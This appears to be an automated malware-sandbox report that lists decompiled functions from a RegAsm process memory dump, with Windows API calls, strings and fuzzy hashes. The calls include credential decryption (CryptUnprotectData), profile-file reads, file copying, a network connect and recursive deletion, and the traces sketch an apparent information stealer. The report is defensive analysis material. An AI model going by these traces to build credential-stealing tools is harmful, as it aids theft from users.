
FindFirstFileA.KERNEL32(00000000,?,005894F8,?,?,?,\*.*,00000004), ref: 004E68E5
SetFileAttributesA.KERNEL32(?,00000080,?,?,005894F8,?,?), ref: 004E6A8A
DeleteFileA.KERNEL32(?), ref: 004E6AA4
FindNextFileA.KERNELBASE(?,00000010), ref: 004E6AB8
FindClose.KERNEL32(?), ref: 004E6ACA
GetLastError.KERNEL32 ref: 004E6AD0
SetFileAttributesA.KERNEL32(?,00000080), ref: 004E6AED
RemoveDirectoryA.KERNEL32(?), ref: 004E6B0B
GetLastError.KERNEL32 ref: 004E6B20
std::_Throw_Cpp_error.LIBCPMT ref: 004E6BE7
std::_Throw_Cpp_error.LIBCPMT ref: 004E6BF8

Strings

\*.*, xrefs: 004E6834

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: File$Find$AttributesCpp_errorErrorLastThrow_std::_$CloseDeleteDirectoryFirstNextRemove
String ID: \*.*
API String ID: 460640838-1173974218
Opcode ID: b3926e25fb1280939f1b9a60fa432b2e5174af90e1e1b667c71274ecb2e12f2b
Instruction ID: d809dff945c313677263d2cc5f51936a643c350294cf92fd29307912c56e1fe7
Opcode Fuzzy Hash: b3926e25fb1280939f1b9a60fa432b2e5174af90e1e1b667c71274ecb2e12f2b
Instruction Fuzzy Hash: EDD11670C00288CFDB10DFA9C9487EEBBB1FF65305F20425AE454BB292D7786A89DB55

Function 0049F0D0 Relevance: 20.7, APIs: 6, Strings: 4, Instructions: 3171stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0049F224
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0049F322
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0049F515
CreateDirectoryA.KERNEL32(?,00000000), ref: 004A1C76

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000), ref: 004A1F5D
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004A348E

Strings

;Yb., xrefs: 0049FC4C
cannot use operator[] with a string argument with , xrefs: 004A3571, 004A35C6
~]d, xrefs: 0049FAC6
cannot use push_back() with , xrefs: 004A3518

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectoryPrivateProfile$AttributesErrorFileFolderLastNamesPathSectionStringlstrlen
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with $~]d
API String ID: 2833034228-1763774129
Opcode ID: fdb4c0da24c7838007b1e02bc2a16689a1696f6d6b5dc515136cfed9d9d68e71
Instruction ID: 3f98b5ef17dcfaa8f689e4fcb5a5d7fbbd5e2711f2842c60bb6495c93d0a2e70
Opcode Fuzzy Hash: fdb4c0da24c7838007b1e02bc2a16689a1696f6d6b5dc515136cfed9d9d68e71
Instruction Fuzzy Hash: 2793DCB4D052A98ADB65CF29C990BEDBBB1BF59304F0081EAD84DA7241DB742BC4CF45

Function 004963B0 Relevance: 17.5, APIs: 5, Strings: 4, Instructions: 1775stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 00496504
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 00496602
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 004967F5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00498078
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049854F

Strings

cannot use operator[] with a string argument with , xrefs: 004985BE, 00498670
Tz}9, xrefs: 00497260
cannot use push_back() with , xrefs: 0049840C, 0049860E
;Yb., xrefs: 004974E8

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: ;Yb.$Tz}9$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 3203477177-4100205650
Opcode ID: 232e55bed25cb6b3b07496b6c6d0d044cff5af5866f18074fe07d68423f76cf0
Instruction ID: 6b3be8cf9a559e92d133cc3b6572ed682d4dab2050fd03768d9c929fe5be15d2
Opcode Fuzzy Hash: 232e55bed25cb6b3b07496b6c6d0d044cff5af5866f18074fe07d68423f76cf0
Instruction Fuzzy Hash: 352300B0D052688BDB25CF28C9947EDBBB5BF49304F1082EAE449A7281DB746BC4CF55

Function 004B84D0 Relevance: 17.0, APIs: 1, Strings: 6, Instructions: 4759COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004B8639

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004BDF6D, 004BE0D4, 004BE129, 004BE17E, 004BE1D9, 004BE22E, 004BE283, 004BE2D8, 004BE32D, 004BE382
;Yb., xrefs: 004BAF18
;Yb., xrefs: 004BCCC8
cannot use push_back() with , xrefs: 004BDFC9, 004BE020, 004BE074
WUa5, xrefs: 004BAC90
Jzv", xrefs: 004BCB48

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$;Yb.$Jzv"$WUa5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-2418805891
Opcode ID: 750035a6ad2e0fad0724f3f56a0add8d726b0fb73578d39ff600ab80f21ce6ff
Instruction ID: 3f823f28df99295a5e33eead850819ddadf0ca74424a7ce841614c70a822934e
Opcode Fuzzy Hash: 750035a6ad2e0fad0724f3f56a0add8d726b0fb73578d39ff600ab80f21ce6ff
Instruction Fuzzy Hash: F7C311B4D052698BDB25CF68C980BEDBBB1BF48304F1082DAD449A7281DB746F84CF95

Function 004986B0 Relevance: 16.1, APIs: 4, Strings: 4, Instructions: 2129stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 00498804
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 00498902
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 00498AF8
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049AE11

Strings

cannot use operator[] with a string argument with , xrefs: 0049AE83, 0049AF19
;Yb., xrefs: 0049968E
AN|5, xrefs: 00499560
cannot use push_back() with , xrefs: 0049AD31, 0049AEBA

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: ;Yb.$AN|5$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-1903585501
Opcode ID: 7b505f22522f077986055418a1a2db999cc651a8c0f3594fc8bfeffc1a7dfbcf
Instruction ID: e112265f5291f7fbed9e5ebb381307dd27655726dfd0f1f0b2bb5fda635101ca
Opcode Fuzzy Hash: 7b505f22522f077986055418a1a2db999cc651a8c0f3594fc8bfeffc1a7dfbcf
Instruction Fuzzy Hash: D44322B0D052688BDB25CF28C8947EEBBB5BF49304F1082EAD449A7242DB756BC4CF55

Function 0049AF60 Relevance: 14.1, APIs: 4, Strings: 3, Instructions: 1876stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0049B158
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0049B265
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0049B458
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049D22D

Strings

cannot use operator[] with a string argument with , xrefs: 0049D29C, 0049D353
cannot use push_back() with , xrefs: 0049D0EA, 0049D2EC
;Yb., xrefs: 0049BFEE

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-747751661
Opcode ID: d69159370a476fc03b50c6e06c76e03b98d76b6c3a35abe7e7a1f496beb3bdf0
Instruction ID: b2dbe3f5757ef5304a2bca7f4d9e3a7c922558eb406562d1b13ccbd165419304
Opcode Fuzzy Hash: d69159370a476fc03b50c6e06c76e03b98d76b6c3a35abe7e7a1f496beb3bdf0
Instruction Fuzzy Hash: BF2321B0D042688BDB25CF28C9947EDBBB1BF59304F1082EAE449A7281DB746BC4CF55

Function 004B3600 Relevance: 12.7, APIs: 2, Strings: 3, Instructions: 3964COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004B3763

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004B83F4, 004B848D
;Yb., xrefs: 004B62DD
cannot use push_back() with , xrefs: 004B8296, 004B842E

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-747751661
Opcode ID: ae208b6af3082e8f70db506b58162ac3e740120f726343fdd01f9e674951848f
Instruction ID: 7e3775fc19a56beca8a5aed6a89b77831bb70298de2711a52710f1ec40fc4457
Opcode Fuzzy Hash: ae208b6af3082e8f70db506b58162ac3e740120f726343fdd01f9e674951848f
Instruction Fuzzy Hash: C5B322B4D052698BDB25CF68C990BEEBBB1BF48304F1081DAD449A7281DB746F84CF95

Function 004C8590 Relevance: 12.1, APIs: 8, Instructions: 92networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 004C85BA
getaddrinfo.WS2_32(?,?,?,00589328), ref: 004C863C
socket.WS2_32(?,?,?), ref: 004C865D
connect.WS2_32(00000000,00559BFC,?), ref: 004C8671
closesocket.WS2_32(00000000), ref: 004C867D
freeaddrinfo.WS2_32(?,?,?,?,00589328,?,?), ref: 004C868A
WSACleanup.WS2_32 ref: 004C8690
freeaddrinfo.WS2_32(?,?,?,?,00589328,?,?), ref: 004C86A5

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: freeaddrinfo$CleanupStartupclosesocketconnectgetaddrinfosocket
String ID:
API String ID: 58224237-0
Opcode ID: b89627014a15d46737fbc47111d25383b59242ed97850ca45924e6f99d10e442
Instruction ID: ffa07009e3086412046aa5b15573dbd5c691e56a3beb11943292ef2f0f62f1de
Opcode Fuzzy Hash: b89627014a15d46737fbc47111d25383b59242ed97850ca45924e6f99d10e442
Instruction Fuzzy Hash: 9531C1726043009BD7208F25DC48B2BB7E5FB94729F114B1EF9A4922E0D7759C089AA7

Function 0049D3A0 Relevance: 12.1, APIs: 4, Strings: 2, Instructions: 1570stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 0049D4F4
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 0049D5F2
GetPrivateProfileStringA.KERNEL32(?,?,00000000,?,00000104,?), ref: 0049D7E5
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0049EF32

Strings

cannot use operator[] with a string argument with , xrefs: 0049EF9D, 0049EFDB, 0049F08D
cannot use push_back() with , xrefs: 0049EE76, 0049F02B

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: PrivateProfile$FolderNamesPathSectionStringlstrlen
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 1311570089-3306948993
Opcode ID: 0ae1cdf597c2d1157bfb46469ddf89f3049c8b9561524013002b88e5e033d541
Instruction ID: d38aed82ee4788d52106214de1412b854dd9129e0c255bb6c7140376d04d8967
Opcode Fuzzy Hash: 0ae1cdf597c2d1157bfb46469ddf89f3049c8b9561524013002b88e5e033d541
Instruction Fuzzy Hash: 570334B0D042688BDB25CF28C9947EEBBB4BF59304F1042EED449A7281EB746B84CF55

Function 004B1630 Relevance: 10.4, APIs: 2, Strings: 3, Instructions: 1700COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004B179E

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

;Yb., xrefs: 004B26EA
cannot use operator[] with a string argument with , xrefs: 004B34C2, 004B3500, 004B35B5
cannot use push_back() with , xrefs: 004B3367, 004B3558

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: ;Yb.$cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-747751661
Opcode ID: a7831ffa2e30bc417a6d119b6af10411e0e4609935e2e0600a0f3023b2e3f187
Instruction ID: 74f41bde1e25fefcfabedac18a40e9942f45a6a93dcf62ac677c2636ef97cffe
Opcode Fuzzy Hash: a7831ffa2e30bc417a6d119b6af10411e0e4609935e2e0600a0f3023b2e3f187
Instruction Fuzzy Hash: E91323B0D052688BDB25CF28C9947EEBBB5BF49304F1082DAD449A7282DB746F84CF55

Function 004DF030 Relevance: 8.4, APIs: 5, Instructions: 876COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,00000003), ref: 004DF09A
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,00000003), ref: 004DF329

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000003), ref: 004DF52A
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000003), ref: 004DF84A

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,00000003), ref: 004DFC7D

Part of subcall function 004E6770: FindFirstFileA.KERNEL32(00000000,?,005894F8,?,?,?,\*.*,00000004), ref: 004E68E5

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorFileThrow_std::_$AttributesErrorFindFirstFolderLastPath
String ID:
API String ID: 2127212259-0
Opcode ID: ddd1a74086e88bad3077dcc782fcf24f38c145c722ebf845ea787a3e1fb56d4f
Instruction ID: 8e27dc709fe3b7ff7b62f4d1f71842afe3ac2492894b6e8ccfd466f18f63ab33
Opcode Fuzzy Hash: ddd1a74086e88bad3077dcc782fcf24f38c145c722ebf845ea787a3e1fb56d4f
Instruction Fuzzy Hash: DBA202B4D0425D8BDF25CFA8C995AEEBBB0BF18304F2041AAD949B7351D7341A84CFA5

Function 004DE430 Relevance: 8.2, APIs: 5, Instructions: 731fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?), ref: 004DE49D

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000), ref: 004DE8C9
CopyFileA.KERNEL32(?,00000000,00000000), ref: 004DEA83
CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 004DED11
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?), ref: 004DEE67

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorFileThrow_std::_$AttributesCopyErrorFolderLastPath
String ID:
API String ID: 1001086254-0
Opcode ID: 6dc2aeea4703c7475d8faa42b0cce2438fcee2743bbe3cab753f0df3d2fb12bb
Instruction ID: 4de69712ac24b7a09e9bc2c7d11d42553b755471a164b72fa8c1d2b7ead1c118
Opcode Fuzzy Hash: 6dc2aeea4703c7475d8faa42b0cce2438fcee2743bbe3cab753f0df3d2fb12bb
Instruction Fuzzy Hash: 298225B0C042598BCB15CFA9C995BEEBBB0BF18304F10419ED549BB382DB745A85CFA5

Function 00544DE0 Relevance: 7.7, APIs: 5, Instructions: 208fileCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00544EA3
CreateFileW.KERNEL32(00000000,C0000000,00000003,00000000,7FFFFFFD,00000000,00000000), ref: 00544ED3
CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,7FFFFFFD,00000000,00000000), ref: 00544EDB

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateFile$Version
String ID:
API String ID: 1715692615-0
Opcode ID: 6a6ee6fedcbecfdb80864e6781445e35ad82f90f86ebcaad5f1c6b7e6074f4f2
Instruction ID: 79d633e4ecdcec58b4cab98b7c2eef95a221f739213a781545a85cef4e7b8ca8
Opcode Fuzzy Hash: 6a6ee6fedcbecfdb80864e6781445e35ad82f90f86ebcaad5f1c6b7e6074f4f2
Instruction Fuzzy Hash: 9961BC75604302AFD720CF24D845BAABBE8FF84318F04492DF999C6291E735C959CB92

Function 004C00A0 Relevance: 6.9, APIs: 1, Strings: 2, Instructions: 1687COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004C01FF

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004C1DEA, 004C1E28, 004C1EDD
cannot use push_back() with , xrefs: 004C1CD9, 004C1E80

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: 740e02d9f6c15115415704e15888e7cdf2721d592ebb453b747645ea535e89b9
Instruction ID: 70ddbce775e6b9f4390438519087f6b5abdfdd9be8d0e615cc0455d37fea4395
Opcode Fuzzy Hash: 740e02d9f6c15115415704e15888e7cdf2721d592ebb453b747645ea535e89b9
Instruction Fuzzy Hash: FB1353B4D042688BDB65CF68C984BEEBBB4AF49304F1042DED449A7282DB746F84CF55

Function 004BE3C0 Relevance: 6.8, APIs: 1, Strings: 2, Instructions: 1598COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,?), ref: 004BE5C3

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004BFF65, 004BFFA3, 004C0058
cannot use push_back() with , xrefs: 004BFE23, 004BFFFB

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with $cannot use push_back() with
API String ID: 2195519125-3306948993
Opcode ID: 3c26d5ec4cd046f289f61f46d8cfe7e058508a8755de6a2b04e1181fa53fa954
Instruction ID: 8382db3f1e7fd6ddd2ab45ea33caa7c845863ac968eaabaa47db1742c7724d6a
Opcode Fuzzy Hash: 3c26d5ec4cd046f289f61f46d8cfe7e058508a8755de6a2b04e1181fa53fa954
Instruction Fuzzy Hash: BC0355B0D042688BDB25CF68C994BEEBBB5BF49304F1081DAD449A7282DB746F84CF55

Function 004E4BD0 Relevance: 6.6, APIs: 4, Instructions: 594registryCOMMON

Download Yara Rule

APIs

Part of subcall function 004E71E0: GetCurrentProcess.KERNEL32(004E0900), ref: 004E71EF
Part of subcall function 004E71E0: IsWow64Process.KERNEL32(00000000), ref: 004E71F6

RegOpenKeyExA.KERNEL32(80000002,?,00000000,-005A5B4A,00000000,?,?,00000000,-00585B31), ref: 004E4DF5
RegQueryValueExA.KERNEL32(00000000,?,00000000,00020019,?,00000400), ref: 004E4EB2
RegCloseKey.ADVAPI32(00000000), ref: 004E4EE1
GetCurrentHwProfileA.ADVAPI32(?), ref: 004E4FCE

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CurrentProcess$CloseOpenProfileQueryValueWow64
String ID:
API String ID: 165412945-0
Opcode ID: 3bf13abb19aaa44ca46000d1ce51339e871ec79bd4b63cc65cdab070a105896c
Instruction ID: bb17cc8c783160fd3a8b64dbee70787954a41794371a81ec97da8cd14beae220
Opcode Fuzzy Hash: 3bf13abb19aaa44ca46000d1ce51339e871ec79bd4b63cc65cdab070a105896c
Instruction Fuzzy Hash: 946233B0C0425A8BCB24CFA9C9957EEBBB1BF18304F20419ED549B7251EB741B85CFA5

Function 004C6000 Relevance: 6.3, APIs: 4, Instructions: 310fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F
FindNextFileA.KERNEL32(00000000,00000010), ref: 004C643F
GetLastError.KERNEL32 ref: 004C644D
FindClose.KERNEL32(00000000), ref: 004C645D

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseErrorFirstLastNext
String ID:
API String ID: 819619735-0
Opcode ID: d8e9c6946941695ae83f8ed52a3377d3b1831b70464c65ac1628f44e0bc40d20
Instruction ID: afe6fe270f27518361ed143ef8865d869d8c660e8b4c9bb3a5978c93709ae348
Opcode Fuzzy Hash: d8e9c6946941695ae83f8ed52a3377d3b1831b70464c65ac1628f44e0bc40d20
Instruction Fuzzy Hash: ACD17CB4C043488FDB24CF98C994BEEBBB1BF45314F14829ED4496B392D7785A84CB59

Function 004A6250 Relevance: 5.6, APIs: 1, Strings: 1, Instructions: 2137COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,00000001), ref: 004A62EB

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Strings

cannot use operator[] with a string argument with , xrefs: 004A87AB, 004A87E0, 004A8821

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID: cannot use operator[] with a string argument with
API String ID: 2195519125-2766135566
Opcode ID: 38fe19862d867da59d89db576d90785b621c6335fde1f607d4e2ef97030fb683
Instruction ID: 7335790c817dd560624ec5f8a0abfa113d97ce4f5550e65ca16f0d8f6b21fe9d
Opcode Fuzzy Hash: 38fe19862d867da59d89db576d90785b621c6335fde1f607d4e2ef97030fb683
Instruction Fuzzy Hash: 3D3332B0D042688BDB25CF68C9847EEBBB1BF59304F1082DED449A7282DB785B85CF55

Function 004D3070 Relevance: 4.7, APIs: 3, Instructions: 202processlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 004D31E1
GetProcAddress.KERNEL32(00000000,?), ref: 004D31EC
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004D323C

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressCreateHandleModuleProcProcess
String ID:
API String ID: 3485509086-0
Opcode ID: 10a132b71744b91c7a8aabe7fe1419f0cbc09591c3e06b4d99c70cfa14b2ff3f
Instruction ID: 088ae3913fb6d903d5210d08602bbf9e48de8f586449a15bf82774f139eaf46a
Opcode Fuzzy Hash: 10a132b71744b91c7a8aabe7fe1419f0cbc09591c3e06b4d99c70cfa14b2ff3f
Instruction Fuzzy Hash: 27917CB4D00209DFCB14CF98C991BAEBBB1FF48704F24415AE905BB391D734AA41CBA6

Function 004C6B00 Relevance: 4.6, APIs: 3, Instructions: 148encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004C6B57
LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00000000,005599AF,000000FF,?,?,00000005), ref: 004C6B86
LocalFree.KERNEL32(?,?), ref: 004C6C82

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLocal$CryptDataUnprotect
String ID:
API String ID: 2835072361-0
Opcode ID: 6ff869daaa30809aeb5f3b651187e95707f37215e97f767facf31974d6eac2dc
Instruction ID: 2e713dc1a74e997b65c4750305752fc0c6d779e5618425e01440a3da5789e3a9
Opcode Fuzzy Hash: 6ff869daaa30809aeb5f3b651187e95707f37215e97f767facf31974d6eac2dc
Instruction Fuzzy Hash: 9741E4B1C002089BDB109F59CC45BEEFBB4EF58720F10822EEC5473391EB3969458BA5

Function 00544C30 Relevance: 4.6, APIs: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00545330: GetVersionExA.KERNEL32(?), ref: 00545356

GetVersionExA.KERNEL32(?), ref: 00544C6E
GetFileAttributesW.KERNEL32(00000000), ref: 00544C8D

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Version$AttributesFile
String ID:
API String ID: 1468075466-0
Opcode ID: f1adef8edf0f0352c52b9e89a28035fd8bf14b55ea28c03b72276c3c4235da11
Instruction ID: bc2ef0739053d36f06754a90023b6e75e39f3b58e9e7be4025d3352de9730303
Opcode Fuzzy Hash: f1adef8edf0f0352c52b9e89a28035fd8bf14b55ea28c03b72276c3c4235da11
Instruction Fuzzy Hash: CD11B2776512158BD720DF78E9C9AEE7BE8FB45328F080166E909C3650E630DD058AA0

Function 004AA200 Relevance: 4.3, APIs: 1, Instructions: 2846COMMON

Download Yara Rule

APIs

